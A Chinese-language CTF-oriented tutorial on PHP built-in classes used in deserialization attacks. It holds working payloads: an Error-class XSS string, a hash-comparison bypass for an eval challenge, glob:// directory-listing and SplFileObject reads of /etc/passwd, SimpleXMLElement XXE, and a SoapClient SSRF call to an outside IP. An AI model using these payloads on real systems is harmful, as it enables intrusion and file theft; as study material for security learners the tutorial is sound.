php内置类小结

news2024/9/21 19:56:29

文章目录

    • php内置类小结
      • Error、Exception进行xss、绕过hash比较
        • Error类
        • Exception类
        • 使用Error、Exception内置类绕过md5、sha1等哈希比较
          • Error类详解
          • Exception类详解
          • 例题:[2020 极客大挑战]Greatphp
      • 使用DirectaryIterator、Filesystemlterator、Globlterator内置类读目录
        • Directorylterator
        • FilesystemIterator
        • 一句话DirectoryIterator、Filesystemlterator
        • Globlterator
        • SplFileObject 读取文件内容
      • 使用SimpleXMLElement类进行XXE
      • 使用SoapClient类进行SSRF
      • ReflectionMethod内置类获取注释内容

php内置类小结

Error、Exception进行xss、绕过hash比较

Error类

Error(PHP 7, PHP 8) 是所有PHP内部错误类的基类。

  • 使用与php7以后的版本
  • 需要有报错的情况

Error类是php的一个内置类,通常用于自定义一个Error,在php7版本后适用,可能存在xss漏洞,因为内置了一个 __toString() 方法。常用于php反序列化中,如果有个pop链走不通了,可能需要使用这个类做一个xss,当php对象被当作一个字符串输出或使用的时候(如:echo )会触发 __toString() 方法

下面我们来测试一下如何使用Error类构造xss

测试代码:

<?php
    $a = unserialize($_GET['whoami']);
    echo $a;
?>

poc

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

测试一下:

image-20230530181322872

成功触发xss漏洞

Exception类

  • php5、7版本以后
  • 开启报错

触发xss和上面一样,此处不再赘述

使用Error、Exception内置类绕过md5、sha1等哈希比较

我们详细介绍一下Error、Exception类

Error类详解
class Error implements Throwable {
    /* 属性 */
    protected string $message = "";
    private string $string = "";
    protected int $code;
    protected string $file = "";
    protected int $line;
    private array $trace = [];
    private ?Throwable $previous = null;
    /* 方法 */
    public __construct(string $message = "", int $code = 0, ?Throwable $previous = null)
    final public getMessage(): string
    final public getPrevious(): ?Throwable
    final public getCode(): int
    final public getFile(): string
    final public getLine(): int
    final public getTrace(): array
    final public getTraceAsString(): string
    public __toString(): string
    private __clone(): void
}

类属性:

  • message:错误消息内容
  • code:错误代码
  • file:抛出错误的文件名
  • line:抛出错误在该文件中的行数

类方法:

  • Error::__construct — 初始化 error 对象
  • Error::getMessage — 获取错误信息
  • Error::getPrevious — 返回先前的 Throwable
  • Error::getCode — 获取错误代码
  • Error::getFile — 获取错误发生时的文件
  • Error::getLine — 获取错误发生时的行号
  • Error::getTrace — 获取调用栈(stack trace)
  • Error::getTraceAsString — 获取字符串形式的调用栈(stack trace)
  • Error::__toString — error 的字符串表达
  • Error::__clone — 克隆 error
Exception类详解
class Exception {
    /* 属性 */
    protected string $message ;
    protected int $code ;
    protected string $file ;
    protected int $line ;
    /* 方法 */
    public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
    final public getMessage ( ) : string
    final public getPrevious ( ) : Throwable
    final public getCode ( ) : mixed
    final public getFile ( ) : string
    final public getLine ( ) : int
    final public getTrace ( ) : array
    final public getTraceAsString ( ) : string
    public __toString ( ) : string
    final private __clone ( ) : void
}

类属性:

  • message:异常消息内容
  • code:异常代码
  • file:抛出异常的文件名
  • line:抛出异常在该文件中的行号

类方法:

  • Exception::__construct — 异常构造函数
  • Exception::getMessage — 获取异常消息内容
  • Exception::getPrevious — 返回异常链中的前一个异常
  • Exception::getCode — 获取异常代码
  • Exception::getFile — 创建异常时的程序文件名称
  • Exception::getLine — 获取创建的异常所在文件中的行号
  • Exception::getTrace — 获取异常追踪信息
  • Exception::getTraceAsString — 获取字符串类型的异常追踪信息
  • Exception::__toString — 将异常对象转换为字符串
  • Exception::__clone — 异常克隆

我们可以清楚的看到,两个类都带有 __toString() 方法,将异常对象转化为字符串

我们以Exception为例,查看一下异常对象的字符串:

<?php

$e = new Exception("payload",2);
echo $e;

image-20230530182217064

发现这会以字符串的方式输出报错,并且包含当前的错误信息:payload 和 当前报错的行号 3 ,但是传入的错误代码2 没有显示出来

我们看一下另一个例子:

<?php
$a = new Exception("payload",1);$b = new Exception("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出结果:

Exception: payload in D:\Applications\CTF\phpstudy_pro\WWW\demo.php:2
Stack trace:
#0 {main}

Exception: payload in D:\Applications\CTF\phpstudy_pro\WWW\demo.php:2
Stack trace:
#0 {main}

我们发现:这两个异常对象是不同的(异常代码不同)但__toString()方法的输出的结果一模一样,

因为此时我们控制了 payload 和 行号2一致(这里写在一行就是为了保证行号一致)

我们可以利用这个特性去绕过md5()、**sha1()**等哈希比较 。 Error用法一致(注意php版本)

例题:[2020 极客大挑战]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

这一题就可以使用这个特性去绕过哈希比较,我在另一篇文章写了,此处不再重复

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

使用DirectaryIterator、Filesystemlterator、Globlterator内置类读目录

Directorylterator

  • (PHP 5, PHP 7, PHP 8)

DirectoryIteratorglob://协议结合可以进行目录读取

<?php
highlight_file(__FILE__);
$leekos = $_GET['leekos'];
$obj = new DirectoryIterator($leekos);
foreach($obj as $o) {
	echo $o->__toString()."<br/>";
}

image-20230530185328183

成功读取到根目录的文件

FilesystemIterator

  • (PHP 5 >= 5.3.0, PHP 7, PHP 8)
class FilesystemIterator extends DirectoryIterator

从官方文档看出这两个类是继承关系,FilesystemIterator内置类也有一个 __toString() 方法

我们同样可以使用glob伪协议读取目录:

<?php
highlight_file(__FILE__);
$leekos = $_GET['leekos'];
$obj = new FilesystemIterator($leekos);
foreach($obj as $o) {
    echo $o->__toString()."<br/>";
}

image-20230530185704719

并且从图中就可以看出这两个原生类的些许区别了,Filesystemlterator会以绝对路径的形式展现,而DirectoryIterator仅显示出当前目录下的文件信息

一句话DirectoryIterator、Filesystemlterator

DirectoryIterator

$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

FilesystemIterator

$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

Globlterator

  • (PHP 5 >= 5.3.0, PHP 7, PHP 8)

与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于使用 glob() 函数,可以通过模式匹配来寻找文件路径。

<?php
highlight_file(__FILE__);
$leekos = $_GET['leekos'];
$obj = new GlobIterator($leekos);
foreach($obj as $o) {
    echo $o->__toString()."<br/>";
}
image-20230530190416823

看了一下文档发现该原生类是继承FilesystemIterator的,所以也是以绝对路径显示的

(需要注意的是,我们使用GlobIterator只需要输入路径即可,不需要添加glob://)

SplFileObject 读取文件内容

  • (PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject内置类存在 __toString()方法

使用SplFileObject类读取 /etc/passwd文件内容

<?php
highlight_file(__file__);
$leekos = $_GET['leekos'];
$context = new SplFileObject($leekos);
foreach($context as $f){
    echo $f;
}
image-20230530200204445

使用SimpleXMLElement类进行XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

image-20230530201752914

image-20230530201800846

可以看到当我们设置SimpleXMLElement类构造方法的 data_is_url参数为:true 时,我们可以实现远程包含xml文件,然后data参数就设置为xml的远程地址即可,第2个参数我们设置为2即可

然后我们xml文件外带数据进行xxe即可

使用SoapClient类进行SSRF

  • (PHP 5、PHP 7、PHP 8)

SoapClient 类为» SOAP 1.1、 » SOAP 1.2服务器提供客户端。它可以在 WSDL 或非 WSDL 模式下使用。

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端

SoapClient类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

SoapClient类还有一个 __call()方法,当我们调用对象中不存在的方法时会触发 __call()方法

__call() 方法被触发后,可以发送http、https请求。正是由于这个方法,可以导致SSRF漏洞

我们测试一下:

<?php
highlight_file(__FILE__);
$s = new  SoapClient(null,array('location'=>'http://49.235.108.15:9996/aaa','uri'=>'http://49.235.108.15:9996'));
$b =  serialize($s);

echo $b;
$c = unserialize($b);

$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf

首先在服务器监听9996端口,运行代码:

image-20230530205423625

服务器成功收到请求

但是它只局限于http、https协议,没什么用。

如果存在CRLF漏洞(\r\n),我们可以通过 SSRF+CRLF组合拳插入任意的HTTP头

ReflectionMethod内置类获取注释内容

  • (PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunction类的getDocComment()方法可以获取注释内容

public ReflectionFunctionAbstract::getDocComment(): string|false
    //从函数中获取文档注释

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/594102.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ADManager Plus:简化员工管理,助力组织高效运营

在现代组织中&#xff0c;高效的员工管理是成功的关键之一。然而&#xff0c;随着员工数量的增加和组织结构的复杂化&#xff0c;手动处理员工管理任务变得繁琐而耗时。在这种情况下&#xff0c;ADManager Plus作为一款出色的员工管理解决方案&#xff0c;通过其卓越的功能和自…

那些在学习GPT的过程中学到的

1、大模型是什么 GPT横空出世之后&#xff0c;大模型火了&#xff0c;什么是大模型呐&#xff1f; 大模型通常指的是具有大规模参数和复杂结构的深度学习模型。它们的设计和结构可以因任务而异&#xff0c;但以下是一些常见的大模型结构&#xff1a; Transformer&#xff1a…

交换求和顺序的条件

交换求和顺序 文章目录 交换求和顺序应用场景可以交换求和的条件&#xff08;部分内容来源ChatGPT&#xff09;不能交换的情况其他可以参考的资料 应用场景 在多重求和中&#xff0c;交换求和顺序的最常见情况是需要改变计算某个表达式&#xff08;通常是连乘或连加&#xff0…

【软件】无联网情况下安装Win11 / 华为电脑更换Win11系统后触摸屏、声卡失效物理解决方案

一、提前备份好电脑驱动&#xff08;华为电脑更换Win11系统后触摸屏、声卡失效物理解决方案&#xff09; 1.电脑驱动备份方法&#xff1a; 1&#xff09;通过管理员身份打开命令提示符。 2&#xff09;输入命令&#xff1a;dism /online /export-driver /destination:"D…

极氪汽车 APP 系统云原生架构转型实践

作者&#xff1a;极氪汽车 前言 新能源汽车已经成为我国汽车市场再次崛起的关键支柱&#xff0c;随着新能源汽车市场的快速发展&#xff0c;不同类型的品牌造车厂商呈现出百花齐放的态势。极氪汽车是吉利控股集团旗下高端纯电汽车新品牌&#xff0c;2021 年 4 月极氪发布首款…

踩坑笔记 ---- 使用LocalDateTime开通会员到期时间与自动续费业务某天用户突然为0

写在前面 使用LocalDateTime的同学需要注意下&#xff0c;这东西的plusMonth可能会有点点超出你的认知&#xff0c;如果不慎掉坑里&#xff0c;希望这篇笔记可以给你提供思路 业务背景 此业务场景非常简单&#xff0c;自动续费业务&#xff0c;需要在用户会员到期前24小时执…

Linux 防火墙开启端口

文章目录 查看防火墙状态开启指定端口重启防火墙重新加载防火墙查看已开启的端口关闭指定端口临时关闭防火墙永久关闭防火墙&#xff08;必须先临时关闭防火墙&#xff0c;再执行该命令&#xff0c;进行永久关闭&#xff09;结语 以下是一些常用的 firewalld 命令&#xff1a; …

C++11中条件标量和互斥锁应用出现死锁思考

条件变量和互斥锁在多线程同步过程中经常被使用&#xff0c;以下测试程序测试其使用。 目录 1.测试程序1 2.测试程序2 3.运行结果思考 1.测试程序1 #include <mutex> #include <deque> #include <iostream> #include <thread> #include <condi…

5-网络初识——封装和分用

目录 1.数据封装的过程 2.数据分用的过程 PS&#xff1a;网络数据传输的基本流程&#xff08;以QQ为例&#xff0c;A给B发送一个hello&#xff09;&#xff1a; 一、发送方&#xff1a; 二、接收方&#xff1a; 不同的协议层对数据包有不同的称谓&#xff0c;在传输层叫做…

Linux:忘记root密码解决办法

如果你是虚拟机只要将光盘镜像连接到虚拟机上&#xff0c;以光盘iso镜像启动 如果你是真机或服务器那将实体u盘或实体光盘连接至设备并且以连接的设备启动 开机时候打断开机 使用 &#xff08;u盘|光盘&#xff09;引导启动 troubleshooting rescue a centos system 输入 1…

前后端分离式项目架构流程(爆肝两万字)

文章目录 &#x1f412;个人主页&#x1f3c5;JavaEE系列专栏&#x1f4d6;前言&#xff1a; 【&#x1f387;前端】先创建Vue-cli项目&#xff0c;请选择此项目【&#x1f380;创建路由】打开命令行工具&#xff0c;进入你的项目目录&#xff0c;输入下面命令。1.创建 router …

SimpleCG绘图函数(4)--绘制圆

在前一篇教程我们利用绘制矩形功能绘制了一个城市,接下来我们讲解另外一个同样重要且基础的图形----圆形。并一起看看该图形能绘制哪些应用呢。 绘制圆形相关函数如下&#xff1a; //圆心坐标(nXCenter,nYCenter),半径为nRatio//绘无填充制圆 void circle( int nXCenter, int …

KG-BERT: BERT for Knowledge Graph Completion 2019ACL

把BERT用在知识图谱补全上 提出KG-BERT模型&#xff0c;在预训练好的BERT基础上继续fine-tuning。 1.传统KGC方法 传统的KGC方法一般依赖于KGE&#xff0c;而KGE往往通过将KG中的三元组关系投影到某个表示空间中&#xff0c;然后使用打分函数对三元组的合理性进行评估&#x…

OA系统流程传出文档

泛微OA如何与第三方接口交互 注意: 1.对于泛微OA中不能作为节点后的自定义编码代码,可能有以下几种原因: 代码存在语法错误:节点后的自定义编码代码应该是正确的Java代码,如果代码中存在语法错误,如缺少分号或者括号不匹配等,将不能正常编译执行。 缺少必要的依赖:节点…

C++ 内存分区模型

C程序在执行时&#xff0c;将内存大方向划分为4个区域 代码区&#xff1a;存放函数体的二进制代码&#xff0c;由操作系统进行管理的 全局区&#xff1a;存放全局变量和静态变量以及常量 栈区&#xff1a;由编译器自动分配释放 , 存放函数的参数值 , 局部变量等 堆区&…

CS5366芯片方案|单芯片type-C转HMID+PD+U3拓展坞方案|CS5366设计电路原理图

CS5366是一款高性能USB Type-c/DisplayPort TM&#xff08;DP&#xff09;到HDMI2.0转换器&#xff0c;设计用于USB Type-c源到HDMI2.0sink。CS5366集成了符合DP1.4标准的接收器和符合hdmi2.0标准的发射器。还包括两个CC控制器用于CC通信&#xff0c;以实现DP Alt Mode和功率传…

目标检测中,DETR方法为何class设置为91+1,DINO中为91

基于DEtection TRansformer的DETR框架https://github.com/facebookresearch/detr因为end-to-end&#xff0c;无需后处理等优点&#xff0c;逐渐得到青睐。DINO方法https://github.com/IDEA-Research/DINO更是取得了在COCO2017的SOTA结果。 其中&#xff0c;在DETR方法中&#…

Revit简单的门族创建及CAD图纸翻模门窗

一、Revit简单的门族创建步骤 门是我们建筑模型中不可缺少的一个构件&#xff0c;如何在族中绘制一个自己的门族呢?下面教大家绘制一个简单的门族&#xff0c;让你了解门的构件绘制。 打开公制门族进行创建 首先我们要进行门框的创建&#xff0c;很多人会以为系统自带的这个是…

【数据结构】一篇文章带你彻底学会《后缀表达式》

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; &#x1f525;c语言系列专栏&#xff1a;c语言之路重点知识整合 &#x…

什么是项目可交付成果?定义、示例及管理工具

项目产生可交付成果&#xff0c;这只是项目活动的结果。项目可交付成果可大可小&#xff0c;其数量也因项目而异。它们是由项目管理团队和利益相关者在项目规划阶段商定的。 换句话说&#xff0c;任何类型的项目都有投入和产出。投入是你投入到项目中的东西&#xff0c;如数据…